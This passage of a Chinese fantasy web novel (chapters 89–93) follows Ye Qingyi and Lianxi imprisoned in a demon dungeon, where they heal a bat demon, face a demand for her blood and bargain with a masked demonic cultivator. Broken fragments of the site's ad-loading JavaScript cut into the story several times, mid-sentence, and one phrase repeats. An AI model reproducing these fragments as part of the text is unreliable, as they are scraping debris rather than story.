连喜点点头:“如今只能以不变应万变了,目前看来他还没对我们用什么手段,后面肯定还会再来,到时见招拆招,不要自乱阵脚。” 叶清漪叹气:“也只能如此了。” 连喜又去看隔壁紫玥的情况:“上次你从冀州城出逃之后,是不是就被抓到此处了?” 紫玥不答。 叶清漪问连喜:“紫蝠妖?是什么妖,我怎么从没听过。” “紫蝠一族当年是魔界大族,虽然族众不多,但因其血能无限复生,拥有强大灵力,在魔界一直有着一席之地,但也因此召来了灭族之祸。我记得风闻魔君就是紫蝠族的,当年她身边总跟着一位侍女,名叫紫玥,应该就是你吧!” 紫玥终于有了一点反应,微微抬起头,长发仍旧遮着脸,看不清表情。 “紫蝠妖拥有无限自愈能力,看这样,你也应该被抓来几个月了,怎么伤还没好?”连喜眉头紧锁。 “不关你的事。”紫玥艰难吐出几个字。 “你这是作什么,又不是我们将你抓进来的。你态度好一点,指不定到时候我们出去还能带上你。”叶清漪一副看不惯紫玥的样子。 紫玥抬起头看了她一眼,忽然露出獠牙冲她呲了一下,吓得叶清漪连连后退,被连喜一把扶住后腰才站稳。 “看她这样,性子已经比之前暴躁了,想来也跟这里的结界有关。”连喜松开手,故作严肃地分析着。 叶清漪这才了然:“难怪!这什么鬼地方,回头我俩不会也这样吧!” 连喜挠了挠头:“还真说不准。” 叶清漪猛地后退,和连喜拉开距离:“你要是发狂了,我可打不过你!” 连喜愣了片刻:“不会,我会想办法早点出去的!” 二人在牢里又待了大半天,也不知道外界什么时辰了,紫玥说完那句话后就再也没开口,出于某种诡异的默契,叶清漪和连喜隔着半个监牢远远地坐着。 谁也没说话,只有牢内其他被困的妖邪不时传来几声痛苦的嘶吼,以及铁链撞击的声音。 不知又过了多久,大约是折腾许久有些累了,叶清漪睡意上来了,坐在石牢边沿眯起眼,过了会儿边上传来窸窸窣窣的声音。 连喜挨着叶清漪坐下:“要不靠着我睡会儿?” 叶清漪瞬间坐直了:“不用了。” 连喜笑笑,一时没有下文。 经过这一阵打扰,叶清漪的睡意也散去不少,她看向身后幽深的过道,两边几乎都关满了妖邪,她忽然惊觉自己也成了其中一员。 “妖笼比我们进来的时候还热闹了,不知是因为有新人被关了进来,还是整个妖笼结界被人动了手脚。” “魔气比之前强了。”连喜说。 “是为了控制我们?可我们又不是妖?他们该不会想将你我炼成魔修吧?” 连喜眼中的神色晦暗不明,神情也明显凝重了。 “不排除这种可能。” “…………” 见叶清漪不说话,连喜以为她是担心会被炼成魔修,还宽慰她:“放心,我不会让这种事情发生的。” 叶清漪扯了扯嘴角,她倒不是怕,只是开始怀疑变成魔修是不是她的什么劫,就算改变了曾经发生的事,她还是会以其他方式入魔。 “为今之计是先想办法出去,光靠我们俩还不够,需要有对这里更熟悉的人配合。” 连喜说着看向紫玥。 “据说紫蝠族拥有无限自愈能力,照你如今的情形来开看,你是被施加了反伤咒吧!”连喜一眼就看出紫玥遇到的问题。 “只要你的身体尝试修复,符咒就能让被修复的地方变成伤口,加上你的自愈能力又是不可控的,伤口才会一直无法愈合。” 听到这里,紫玥才终于抬起头:“你有办法?” “这符咒实在阴损,像是专为你们族人研制的,不过倒不是完全没有破解之法。只不过……” 紫玥哑着声音道,“你若替我解开这符咒,我愿永生为你效劳。” 叶清漪:这么草率? “倒也不必如此,只需你到时配合我们想办法逃离即可。” “自当相助。”紫玥目光无比坚定。 叶清漪忍不住想:也不知该说这紫玥率性还是单纯,看上去这么不好相处,怎的如此轻信他人?还是她看中了连喜这副好模样? “为了不让人发现,我先替你减缓伤口溃烂的速度,后面逐步将你伤势治愈,再施一道障眼法,既能瞒天过海。” “不会被发现吗?”叶清漪有些担心。 “放心,那店家全靠着这里的阵法和符咒困着这些妖邪,实则修为不如你我。也因为如此,他没有看出我们真实的修为,给我们加的结界也比较弱,照常施法都不是问题。” 叶清漪似懂非懂点点头。 “以我俩之前的架势,他估计以为我们是不学无术、头脑简单的富家子弟,到时你记得演得像一点,莫要引起他们的怀疑。” 叶清漪恍然大悟:“明白了,没问题!”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>果不其然,没过多久,之前那个给他们带路的伙计摇身一变,成了掌柜,身后跟着两个真正的伙计,过来后第一时间让连喜将灵石都交上来。 连喜吓得不轻,哆哆嗦嗦地在身上寻摸着,没等他找着,怀里的钱袋就隔空飞了出去,落在了那掌柜的手里。 掌柜的将钱袋拿在手里掂了掂,又打开一角看了,这才满意地点点头:“不错啊,全都是上好的灵石,你这灵石买下这整个暗市都够了,何止才买一颗妖丹,说,你们到底来干什么的!” 连喜憋闷不已,一个劲儿告饶:“我们只是想进来看看,真的没别的目的!” 叶清漪一叉腰:“大胆!你们知道我们是什么人吗?竟敢将我们关起来!等我出去了,一定找人踏平你们这破店!” 连喜在旁劝阻:“师妹!” 那掌柜见状大笑三声:“凭你是什么人,来了我的地盘,都得给我乖乖听话。” “那是自然!”连喜忙不迭地附和,惹得叶清漪一通白眼。 “没想到你如此没有骨气,看来我之前真是看错你了!” 连喜不为所动,干脆懒得管她,只一个劲儿跟那掌柜的保证。 “态度倒还诚恳,只是光是如此可不够啊!” 见对方语气有缓,连喜忙再次表态:“只要能放我们出去,要多少灵石都可以!” 掌柜的没有表态。 边上的伙计顿时会意,上前啐了一口:“我们掌柜缺你那几块灵石吗?” 叶清漪上前一步:“那要怎么才能放我们出去?” 几个人交换着眼神,不怀好意地笑起来。 叶清漪脸色难看极了。 连喜眼神冷下来,嘴上还仍旧说着讨好的话,对面的人只顾怪笑,并未察觉到连喜的异常,加上又有结界压制,他们便更是肆无忌惮。 “其实也没什么特别的要求,只是我家主子最近新学了个功法,要以处子之血炼化入气,不知你这位师妹能不能牺牲一下,助我家主子提升功力。”另一个伙计说。 叶清漪愤怒地冲到牢边:“你们别欺人太甚!” 那掌柜的懒懒抬眼,抬手一挥,叶清漪就被一股强有力的法术击中,尖叫一声,连连往后退。 连喜在后面扶着她,将她半护在怀里。 那掌柜摸了摸鼻子,将这一切看在眼里。 “其实也不是太复杂,也就每日取一小碗血,连取七七四十九日,不会要了你师妹的性命,只不过这身修为嘛,肯定是废了,日后也不可能再修炼得道了,甚至连寻常人都不如,少不得病痛缠身,不过好死不如赖活,左右能留下一条性命不是?” 连喜神色犹豫。 “若你能答应,我保证在这期间你们不会受到任何刑罚,你也不会伤到一根毫毛,我们还会好吃好喝地招待你们,四十九日后就能离开此处。” 连喜安静地听着,那掌柜的知道这是没有直接拒绝,说明对方已经有所动摇,凭着多年跟人打交道的经验,他也没有逼迫连喜当场就答应,所以在连喜说出要考虑一下的时候,他自是欣然同意。 “无妨,不必急着做决定,三日后我们再来,到时你给我们个答复便是。” 掌柜的说完,带着所有人离开了,临走时还看了眼旁边的紫玥,确定没有异常,才放心离去。 90. 隔世遗梦 “三日,够你给紫玥疗伤的吗?” “你怎么不问问我会不会答应他的要求?”连喜含笑看她。 “你又不傻,他们这种人毫无诚信可言,虽然是跟你做了承诺,但若是你真按他们的要求来做了,放不放人不也还是他们说了算,若是事后他们反悔,不也轻而易举。不过装模做样地跟你谈判罢了。” “不错,他们的目的不仅是炼制出妖丹,还要摧毁你的意志,让你展露人性黑暗的一面,再将你击溃。” “是的,单纯的身体的痛苦并不只是他们想要的,他们乐得看他人沉沦,想将这个世界变得跟他们一样黑暗。” 连喜赞同地道:“这种状态下的人更容易炼制魔修,他们的目的就是激起人性之恶,看你们自相残杀,自己则坐收渔翁之利,并且借此筛选出更适合炼成魔修的人。” “看这情形,他们应该不是第一次这么干了,但是这么久了,也没见这里面有一个魔修啊?难道还有什么隐藏的牢笼?”叶清漪看了看四周,“他们刚刚提到了主子,这么说这个掌柜也不是他们的头目,还有人藏在更深的地方。” “看来事情比我们想的复杂。” 牢房中人多眼杂,他们也只是点到即止,没有多说。 连喜依照之前的承诺替紫玥疗伤,开始之前,他和叶清漪合力在两个连着的牢房内施了一道结界,法力低于他们的人都无法发现异常,只会看到他们想让别人看到的画面——三人老老实实在里面待着,互不干扰。 安置完一切后,连喜开始隔着牢房给紫玥疗伤,叶清漪负责替他们把风。 紫玥的伤大概很棘手,连喜不知替她治疗了多久,牢房内看不到天光,感受不到时间的流逝,叶清漪一直替他们看着牢房入口,虽然看着那些人暂时大概是不会回来,但还是要警惕一些,以防万一。 良久,连喜收了法力。 叶清漪转头看去,紫玥双手虽然还被吊着,但精神看起来已经好很多了。 “今天暂时先这样,虽然不能完全痊愈,但可以缓解痛楚,减缓你伤口的腐烂程度。” “多谢。”紫玥虚弱地道谢。 叶清漪看在眼里,忍不住想,前世连喜应该也是这样救了紫玥吧,后来紫玥才会那么忠心,救命之恩,换她也会如此。 连喜来到桌旁坐下:“这三日暂时不会有太大的麻烦,趁着他们离开的间隙,正好也足够将你的伤势治好,今夜便到此吧,这个结界能维持数日之久,若有异动,我自会知晓,你们尽管安心休息。” “也不能总让你一人守着,我俩轮流吧!”叶清漪这样说着,只是方才情绪太过紧张,骤然松懈下来,困意也涌了上来。 连喜看出她的疲惫:“你们先休息,等你醒了再换我也不迟!” 叶清漪忍不住打量隔壁的紫玥,看她那样,像是习惯了站着睡,“你既然是蝙蝠妖,这么站着睡很难受吧!” 前世叶清漪有次去紫玥房间找她,打开门就见紫玥头朝下倒挂在房梁上,头发倒着垂下,脑袋离地两尺高,正好对着门口,后来才知道那是他们蝠族的习性,由于画面太过震撼,在叶清漪脑子里久久挥之不去。 紫玥沉默片刻,“再乱说小心我给你头拧下来!” 叶清漪识相地闭嘴了。 那些伙计来过之后,牢里的妖邪们也没之前那么躁动了,大概是过了施加魔气的时间,牢房内一时安静下来,叶清漪和连喜隔着张简陋的桌子相对而坐,叶清漪用胳膊垫着脑袋,恹恹的趴在桌上,开始打盹。 连喜眼底含着笑意,宠溺地望着叶清漪的睡颜,心底落下一片柔软,不一会儿他伸出手,向叶清漪靠近,最终停在她的脑袋上方,犹豫片刻,还是收回手去。 身后的紫玥微微侧首,视线透过发丝缝隙投过来,看着连喜这一举动,眼神逐渐黯然下去。 睡到一半的时候,叶清漪感觉有些不适,一时分不清自己身在何处,只觉得浑身灼热难当,骨头缝都在冒火,异常痛苦,恍惚间好像还在绝情崖底。 当年叶清漪提着一把长剑杀回云仞山,遭到全门派围剿,同门用她独创的杀阵废去她半身灵力,又在进入主峰的一路废去她另一半,最后在绝情崖顶被顾长风所伤,坠落悬崖。 可她并没有立即死去,而是度过了漫长的三天三夜,肌肤一寸一寸燃烧殆尽,骨头也被崖底的无烬之火烧成了粉末,肉身一点点焚烧,可她的意识却越来越清醒,千万年来葬身崖底的恶灵在她耳边呓语,蛊惑着她,崖底万年死寂之气被她尽数吸收。 后来,她堕魔了。 可她一直被困在崖底,再后来的事情她就不记得了,记忆里似乎有人从崖顶将她的魔气尽数吸走,解脱了她,她也得以彻底死去,才有了她的这一世。 之前她死前这点记忆已经十分模糊,不知近日为何又想起来了,而且越来越清晰,她甚至都不太确定,这是真的发生过的,还是她自己的猜测。 只是这一次她似乎从崖顶走出来了,一袭白衣,纤尘不染,赤足踏上绝情崖顶的碎石坪,崖上空无一人,不知何处来的风呼啸着吹过,裹挟着风沙从她肌肤表面划过,她却没有一点感觉,风沙似乎贯穿了她的身体。 她低头望去,自己的躯体已近乎透明,仿佛一缕幽魂,她在崖顶漫无目的地走着,风沙渐息,她忽然看见不远处有一个黑色身影背对着她站着,看身形像是有些熟悉。 叶清漪尝试唤了两声,可她的声音虚无缥缈,根本无法抵达对方身边。 叶清漪有些失落,打算作罢,这时那人却像有感应一般,正准备转过身来。 叶清漪屏息以待。 在那人即将转过来的时候,天空中忽然传来一声呼唤,有人大喊着她的名字,叶清漪抬头望去,下一刻猛地被人拽出了梦境。 “叶清漪……醒醒!” 声音也从悠远变得近在咫尺,叶清漪感觉有人在摇晃着她,可无论她怎么费力,都睁不开眼,也抬不起胳膊,她很想告诉那人,她醒了,但她似乎无法做到。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 过了一会儿,大约是发现叶清漪的异常,那人停止了摇晃,叶清漪的思绪又渐渐迷离,再次回到了绝情崖顶。 那个黑衣人已经转过身来,竟是连喜。 “连喜,怎么是你?”叶清漪很诧异,思绪又莫名清晰起来,“这里是云仞山,你一个魔族怎么进来的?” 连喜眼底闪过一抹得意之色,做出茫然的样子:“是吗?我也不知道,就忽然到了这儿,大概是因为这里有堕魔出世吧!” 连喜说着看了眼叶清漪身后,明知故问:“你怎么也在这?” 叶清漪没有细想,脱口而出:“我也不知。” 连喜也不细究,只道:“大概也是同我一般,被堕魔召唤过来的吧!不过也的确难得,这么多年,魔族衰败,呈式微之势,居于人下,魔修更是凋零,已经很久没有堕魔出世了。” 叶清漪默默听着,总感觉连喜意有所指。 “不过据我所知,堕魔刚出世时极为不稳定,若魔心不稳,很可能无法维持魔性,堕魔失败,形神俱灭。有时候甚至会元神出窍,回到堕魔之前的地点,”连喜说到这特意停顿了一下,一指叶清漪,“就像你现在这样。” 叶清漪心虚地回避着连喜的眼神:“你说的我不太清楚,我也才当了几年魔修。” “是吗?那若是你有这样的机会,你会如何做呢?” “我……”叶清漪迟疑了。 “其实堕魔的机遇百年难得,一般人也没有机会,若有如此机缘,何不顺势而为?” 叶清漪不言,她总觉得连喜今天看上去怪怪的。 连喜忽然手一挥,不知从哪儿变出一堆弟子的尸体,横七竖八地躺在崖顶,吓得叶清漪连连后退。 “你看看这些仙门弟子,你的昔日同门,如今又是如何对待你的?他们又何曾善待过你?你身为仙门大师姐,都尚且遭受如此对待,更别提那些魔族小妖,只要仙门压过魔族一日,他们的日子就永远不会好过,这世上之事向来如此,你当大师姐的时候也不是不够强,而是不够狠,既然拥有了顶级的力量,就应该加以利用,不得心慈手软,那样最后只会害了自己,也会害了你身边的人。” 叶清漪一直打量着对方:“你不是连喜,你究竟是谁?” “我是谁不重要,你好好想想我说的话!你以为你如今身陷囹圄是谁造成的?对他人仁慈,就是对自己残忍,你活了两世早该明白这个道理。” 叶清漪脑子嗡的一下:“你怎么知道的?” 对方避而不答:“这不重要,重要的是,只要你想,这暗市的地牢就是另一个绝情崖,这里的死寂之气可不比崖底的少。” 叶清漪缓缓道:“你会读心?你是上次那个邪灵?你不是被云宸处理了吗?” 那人顶着连喜的脸,不自然地笑了:“那我就无可奉告了,今日言尽于此,你好好想想吧!” 说着一挥手,化为一团黑烟飘散。 与此同时,叶清漪终于睁开双眼,醒了。 91. 只身赴约 睁开眼又看到连喜关切的眼神,叶清漪一时有些错乱,不禁往后一仰,跟连喜拉开距离。 “怎么了这是?”连喜看出她的不对劲。 “没什么,做了个噩梦。”叶清漪抬手拭去额头的细汗,看了眼四周,确认自己还在牢房里,从没像现在这样觉得安心。 “这里魔气太强,你难免会受到干扰。” 也不知是有意还是无心,连喜再次提起魔气很强这点。 叶清漪含糊地应了,“应该是吧!” 脑子里却不自觉地浮现梦里最后听到的话—— “只要你想,这暗市的地牢就是另一个绝情崖。” “你不是不够强,而是不够狠,既然拥有了顶级的力量,就应该加以利用,不得心慈手软。” 见叶清漪出神,连喜又喊了她两声,问她需不需要他替她输送点法力。 叶清漪忙说不用,又问连喜她大概睡了多久。 “两三个时辰吧,没多久,外头应该是第二日了。” 得到答案后,叶清漪点点头,又去确认紫玥的情况。 “她睡着了,估计这些时日被伤痛折磨,都没好好睡上一觉。” “还不知道她叫什么名字。”为了避免自己不小心叫出紫玥的名字,叶清漪故意这么说。 “等她醒了问下她就是。”连喜笑得毫不设防。 紫玥没多久也醒了,看上去比之前精神好了不少,连喜问她感觉怎么样,紫玥说难得睡了一觉,体力也恢复了不少。 三人又互报了名字,接下来两日按原定计划,连喜每天用几个时辰给紫玥疗伤,所幸这期间那群伙计没再进来过,连喜每次给紫玥疗伤结束,叶清漪会趴着睡会儿,但是再没有做过之前那样的梦。 三日后,掌柜的带着几个伙计又来了,这次带的人比之前多了几位,大概是准备动手了。 “考虑得怎么样了?”掌柜的一进来就问,一群人脸上都挂着不怀好意的笑,摆明了是要来看笑话的。 叶清漪黑着一张脸坐在桌边,连喜则上前跟他们交涉。 “三日实在太短了,不知能否再多宽限几日?我这师妹性子倔强,我做不了她的主,得她自己想通才行。”连喜看起来苦恼不已。 “别来这套,三日已经是仁至义尽了,照你这样,给你再多时间也不够,还是交给我们吧!” 说完给了边上一个眼神,便有伙计上前准备打开他们这间牢房的结界。 连喜慌乱不已,苦苦哀求他们再给几天时间,对面自然不管。 伙计挥手施法,他们这间牢房的结界被打开了。 叶清漪摆好架势准备开打,那些人却丝毫不为所惧,为首的那位更是漫不经心地提醒她:“这里到处都是我们的人,你确定要贸然动手吗?” 叶清漪犹豫了。 掌柜的得意一笑:“比你们更厉害的弟子我都遇见过,我奉劝你们一句,不要做无谓的抗争,知道外面到底是什么情形吗?就算将我们几人都解决了,你们就能肯定自己一定能出得去吗?” 看这情形,他们似乎不是第一次困住仙门弟子了,难道之前的晏临,甚至凌霜,都曾经被困在此吗? 三年一次的试炼向来是仙门弟子必须经历的,如果暗市交易是他们心照不宣的所在,那岂不是所有内门弟子都曾来过此地。 这个念头一出,叶清漪简直不寒而栗,她总感觉事情不是那么简单,不是个别投机取巧的弟子的私欲,而是一个庞大的布局,有一些人在暗处操纵着一切,环环相扣,每件事看起来似乎毫不相干,又隐隐有着某种联系,叶清漪感觉她就快要触到事情的一角了,在那之前,她还需要静观其变。 结界一开,叶清漪就被几个人拉了出去,临走时她不忘对着连喜劈头盖脸一顿臭骂,让他们更加直观地感受到二人的反目成仇。 同时又暗暗藏好了怀里的玉牌,这还是之前下山除妖的时候拿的,后面也没还回去,连喜那有另一半玉牌,通过玉牌,连喜能找到她的方位,因为是云仞山的东西,一般人不认得,也发现不了,除非是灵力很强的人,可以察觉到玉牌的存在。就算被他们发现了,叶清漪也会说那只是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 寻常玉牌,除非是仙门中人,否则他们是不会知道这玉牌的真正用途的。 但稳妥起见,他们还做了两手准备。 叶清漪并没有从进来的路出去,刚走到这妖笼的拐角,就被一个传送阵传走了。 再次睁眼,她来到了一处庭院,这里估计就是他们说的主子住的地方。 几个人押着她进到里面,绕来绕去来到了后花园,院子里摆着一把太岁椅一张八仙桌,一个身着黑衣,院子里摆着一把太岁椅一张八仙桌,头戴斗篷的人背对着她站着,看上去总感觉有些似曾相识。 “主子,人给你带到了。”掌柜的态度恭敬,说完这句,后退半步,就带着几个伙计离开了。 叶清漪阴沉着脸,语气不善地问:“你是谁?” 对方背对着她,不答。 “我不管你是谁!今日我就算玉石俱焚,也不会让你如愿以偿。” 对方依旧沉默。 叶清漪停留片刻,转身欲走。 “他如此对你,你还要回去找他吗?”对方终于开口。 听声音是个男子,叶清漪脚步一顿,停在了原地:“什么意思?” 带着斗篷的男子缓缓转过身,脸上覆着银色面具,看不出模样。 “你究竟是谁,为何不敢坦诚相见?” 对方发出一声极轻的嗤笑。 “众生万相,皆为虚妄,又何必在意这些幻象呢?况且,就算我展示了,你又能确定自己看到的是真的吗?” “别故弄玄虚了!你连这幻象都不敢示人,真实面目不知该如何不堪!我真为你感到可悲!” 对方被激怒,上前一把掐着叶清漪的脖子:“还是先担心担心你自己吧!这七七四十九日的取血之痛你又能承受得住多少?” 黑衣人说着一只手攀上她的脸,带着凌辱意味地轻抚着她的脸颊。 “你要是敢动我一根毫毛你就完了!” “放心,我不会碰你,但会让你求生不得求死不能!” 叶清漪眸色一暗,猛地抬手,一把摘下了他的面具。 92. 达成协议 面具之下,是一张陌生的脸。 “你是谁?” 对方不答。 “你既然能够读懂人心,想必修的不是什么正经派系,还以采处子之血如此阴损的方式来提升功力,不用想也能知道是魔修了,不过具体是魔修的哪个体系,就不得而知了。” “你倒是很了解。”对方也没有因为被揭穿而有所愠怒。 “你既会读心,想必也该知道我为何如此熟悉这些。” “仙魔双修,你资质果然非比寻常,只可惜自己不中用。”对方说着松开钳制,负气地将叶清漪一把甩开。 “怎么?看不得别人资质比你高?还是我有什么振兴魔族的义务吗?我能堕魔就一定要成为堕魔?这世间入魔者,无非都是心有所怨,心有所恨,为了心中难了之事而入魔,我既无怨恨,又无牵挂,我是背负着那崖下千万年的憎恨而入魔的,我该为谁复仇呢?又为何舍了自己的余生壮大你们魔界?” “看来这几天你倒是想清楚了,只是这个回答我不满意。”黑衣人负手背对着叶清漪而站,某一瞬间,叶清漪真的恍惚间看到了连喜。 “你又为何修仙呢?” 叶清漪被问得哑口无言。 “你会想明白的,总有一天,你也会有新的目标。”黑衣人说着走回椅子前坐下,“但在那儿之前,我会帮你看清你的内心。” 黑衣人说完这话,掌心对着她隔空施法,叶清漪看出这是想用读心术,眼见术法即将袭上面门,她急急抬手格挡。 右手小臂处的妖印不知为何被牵动,那一小寸肌肤灼热异常,烫得叶清漪无力抵挡,拼尽全力一拂袖,试图击退对方。 黑衣人还真停手了,脸上尽是诧异。 叶清漪却顾不上,只连忙撩起袖子查看,那个印记更加明显了,边缘还泛着红光。 “这是什么东西?”黑衣人满脸不可置信,“你居然有妖契?” “你认得?也是,都是你们魔界的。” “你如何结的妖契?何时何地,与谁所结?” “你不是能读心吗?自己看不就得了。” 黑衣人不言。 “该不会,你读不到我的心了?” 对面沉默片刻,才道:“魔界有个不成文的规矩,结了妖契的人,除了结契的妖,其他魔修都不得妄动契主,以免毁了他人的妖契。” 这倒是出乎叶清漪的意料,“所以,某种程度上,这妖契还庇护了我?照这么看来,你们也不能随便窥探他人的妖契吧!” 黑衣人默认了。 “不过你别以为这样就可以高枕无忧了,等妖契完成之后,我照样可以对付你。” “那你可能是等不到了。”叶清漪放下袖子,神色淡然,“现在是如何?不打算放我走吗?” “进了我这里,就没有让你安然出去的道理。”黑衣人靠在椅背上,对着叶清漪微微抬手,自他掌心涌出一股蓝色术光,直冲她而来。 叶清漪并没有反击,她已经猜到对方想要做什么了。 随着黑衣人手起,叶清漪身上七七八八的零碎东西都随之浮出。 香囊,玉牌,些许符纸,丹药,还有一开始进地牢时领取的黑符…… 叶清漪伸出手去抓,黑衣人另一手施法,将她困住。 所有东西都被黑衣人拿走,虚虚停在他面前。 “你还给我!”叶清漪难得露出几分急切。 “急了?”黑衣人饶有趣味地打量着叶清漪,一样一样地拿过那些东西查看。 “不过就是些寻常物件,没什么好看的。” 黑衣人睨了她一眼,松开桎梏她的法力:“终于露出真实法力了?可惜啊,你这功力比当年可是差了太多了。” 叶清漪不予理会。 黑衣人看过了符纸和丹药,摆在一边,转而拿起一个小石头。 “问心石?大门派就是好东西多。” 之前发的问心石,她一直带着身上。 “没什么用的小玩意,也值得你这样费心研究?” 黑衣人轻哼一声,将石头放下,又拿起一物,“那这个总不是什么无用之物了吧!” 叶清漪脸色骤变,强忍着想冲上去的冲动,那人手中拿着的不是别的,正是可以和连喜互相感应的玉牌。 “进出山门的手令罢了,你拿了也没用,云仞山的灵气不是你这种魔修能受得了的。”叶清漪尽量表现得淡然。 “别掩饰了,你以为能瞒得过我吗?” “你又对我用读心术了?” 黑衣人视线从玉牌上移开,眼尾耷拉着,带着点厌世的意味,“你的表情都告诉我了。” “罢了,左右你都有办法知晓。” “怎么?生气了?该不会还在等你的小情郎来救你吧?我都说了,他既然能将你交出来,又怎会涉险救你?你这样的情况,我见得多了。” 叶清漪收紧眸子,“这么说,你不止取了我一人的血了?” 黑衣人举手至唇边,神情不善地打量着她:“你还想替她们报仇不成?” “你这般戕害不辜的妖邪,人人得而诛之!” “这话我都听腻了,不过抓来的人里,你倒是第一个敢这么对我说话的。” “事实罢了,天道轮回,报应不爽,作恶多了总要付出代价!” “那你呢?你何曾作过恶?又为何落得那般下场呢?” 叶清漪语塞了。 “我可不信什么报应,只看眼前的因果,我是否作恶暂且不做评判,但那些将心爱女子送过来的人,可是毋庸置疑的恶人。其实处子之血本不算什么,真正害死她们的,是这四十九日的期限。她们从满怀希望,到心如死灰,等到血被榨干了,也没能等来承诺要来接她们的人。我教她们看清了人心,她们应该感谢我才是,而不是死在我这里,将滥杀无辜的名头留给我。” “实是诡辩!你掳掠无辜之人,到头来却把自己撇得干干净净,还伪装成圣贤了?他们纵有不对,也不是你为自己开脱的理由。” 黑衣人不以为意地笑笑,“虚名而已,提升功力才是实在的,我又不在意他人怎么想的,我又不是你。” 叶清漪气得牙痒痒。 见她这般,对方似乎很是满意,但很快就不说话了,叶清漪看到,他手里正拿着那只香囊。 叶清漪觉出有蹊跷,便留神看了。 “是有什么不对吗?”叶 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 清漪试探着问。 黑衣人眉心拧着,仔细研究了半天,最后来了句:“这花样绣的真丑!” 便将香囊嫌弃丢在桌上。 他看了眼叶清漪,起身往里走:“东西留下,人进来。” 语气不容置喙。 叶清漪走上前,想将那些东西收了。 “你拿上了我也能替你扔了。”黑衣人在前面头也不回地说。 叶清漪泄了气,只得无奈将东西留下,也不知道连喜那边如何。 叶清漪举步进了内堂,在她身后,桌上的玉牌安然摆放着,下一刻,忽然泛起微弱的光。 内堂没什么特别的,和寻常府邸的宅院一般无二。 黑衣人脱去斗篷,在堂前的罗汉床上坐下,将面具扣在桌上,自顾自倒了杯茶。 叶清漪看着他:“你这是作什么,既动不了我,又不愿放了我。” “稍安勿躁,我暂时动不了你,但需要你留下帮我一个忙。” “你想干什么?”叶清漪预感不会是什么好事。 “这段时间,你就在我这安心住下,到时候自会知晓。”黑衣人饮尽杯中茶,搁在一旁,“你这资质,拿来取血太浪费了,我有更好的用处。” “可我身上有妖契。” “无妨,我不会取你性命,相反,我还会助你早日完成契约。” “可你又不知道契约的内容。” 对方定定看她一眼,忽然将她一把拉过去,毫不避讳地撩起她的衣袖,露出小臂上的妖印。 “你放开我!”叶清漪挣扎着。 “如果我没猜错的话,你这个印记应该是会不断发生变化的吧!” 叶清漪没藏住眼中的震惊。 黑衣人露出得逞的笑,仍旧没有松开她。 叶清漪也懒得挣脱,就任由他捏着。 “既然你看出来了,想必你也该知道,我这个妖契的难度。” “确实很难,成长性契约,需要契主不断强大自身,等到契主的实力强到可以完成妖契的时候,这个妖印才会变得完整,并且在契约完成之前,妖契还会保护契主,在一定范围内为契主规避掉一些毁灭性的灾难,但之后,妖契带来的痛苦也会更加剧烈。” 叶清漪蓦地抬眼看向他。 “被我说中了?”黑衣人饶有意味地望着她。 “那你能帮我什么?” “如果你这次帮了我的忙,那我可以许你一颗上等妖丹。” 叶清漪讥讽一笑。 “又或者,日后若有机会,我可助你恢复功力。” 叶清漪冷了神色:“从前我学艺不精,现在亦如是,不过修炼得能够在仙山混得下去,也不是件难事,我也未必需要你的帮助。” “曾经你可没有妖契在身,你难道没有感觉到,近来修炼屡屡受阻吗?仙魔两道本就互不相容,妖契没有反噬自身已是万幸,这妖契虽然会助你早日达到足够完成契约的修为,可等妖契完成后,你有想过吗?到时你只怕会功力尽废,沦为废人。” 叶清漪从没想过这一层。 “所以我许诺的是,日后若你功力尽废,我可助你恢复。” 黑衣人松开了她的手。 93. 兄弟相见 “那你要我帮你做什么?” “很简单,只需要借你身子一用。” “什么意思?”叶清漪神色一凛。 “别担心,不会要你牺牲太多,顶多就是受点皮肉之苦,放放血什么的,毕竟相对应的条件是保你恢复功力,总要付出点代价吧!” 叶清漪思索片刻,“那需要我怎么做?” “不用做什么,你就待在这里等着便是。” “仅仅只是待在这殿内?” “不错。”黑衣人故弄玄虚一笑,抬手覆面,立时又换了副容颜,“我还有事要处理,就不在这陪你了,有事情的话……也别叫我,你可不是我的座上宾。” 叶清漪不言,冷着脸看他说着自以为俏皮的玩笑话。 “即便我能帮你这个忙,我又凭什么相信,日后你会履行承诺?” “我们妖族可不像你们这些修仙者,擅长背信弃义,”黑衣人打量了她一眼,“好吧,若是你不放心,你我之间也可再结妖契。” 叶清漪没有立即表态,默然与他眼神对峙片刻,道:“罢了,我可不想一只胳膊来一个妖印,左右我也只能选择相信你,不如赌一把。” 黑衣人冲着叶清漪一挑眉,假模假式地恭维:“不愧是当过大师姐的人,有魄力。” 说完不怀好意一笑,走了。 黑衣人走后,殿内就只剩下叶清漪一人,她在一旁的椅子上坐下,掀开袖子查看手臂处的妖印,印记处红光已然熄灭,紊乱的灵力也已平息,发作时那种切肤之痛也随之消失了。 之前妖印变化的缘由如今也明白了,只是这个黑衣人到底是谁?将她掳来,又告诉她这么多关于妖契的事情,还答应日后助她恢复功力,竟让她一时分不清到底是敌是友?不过此人对魔界之事很是熟知,不是魔族,也是个魔修。 魔界形成几百年,已从最初的天生魔地长妖,发展成魔族与魔修、妖族混居的状态。妖族偏安一隅,自给自足,不大参与仙魔两界的恩怨,大妖与世隔绝,散妖怡然自得,只有个别散落人间的弱妖,被有心之人掳走利用,虐杀玩乐。魔修又分正统魔修,即从始至终都选择魔修的人,以及像叶清漪、连喜这般的仙魔双修。 至于传统魔族,又分为两派,保守派和激进派,一派主战,一派主和,自赤焱陨落后,人仙魔三界暂时休战,维持着脆弱的平衡,魔界内部主和派与主战派的明争暗斗从未间断,前世叶清漪到魔界后,也是领教过魔界的内斗的。激进派在魔界得不到支持,便暗中勾结各界居心叵测之辈,再找上人界、仙门中的心怀异心之人,这才有了这暗潮涌动的风波。 叶清漪在殿内等到傍晚,殿内越发昏暗,天边泛着妖冶的紫红色,诡秘幽暗,最后一缕光亮消失在天际之后,两侧成排的烛火自动燃起,日暮四合,夜色逐渐笼罩大地。 叶清漪等得久了,闲的无事在殿内闲逛,殿内没什么特别的,也没有暗算陷阱,只是也不知道要在这里等多久,这个黑衣魔修到底想借她的手对付谁? 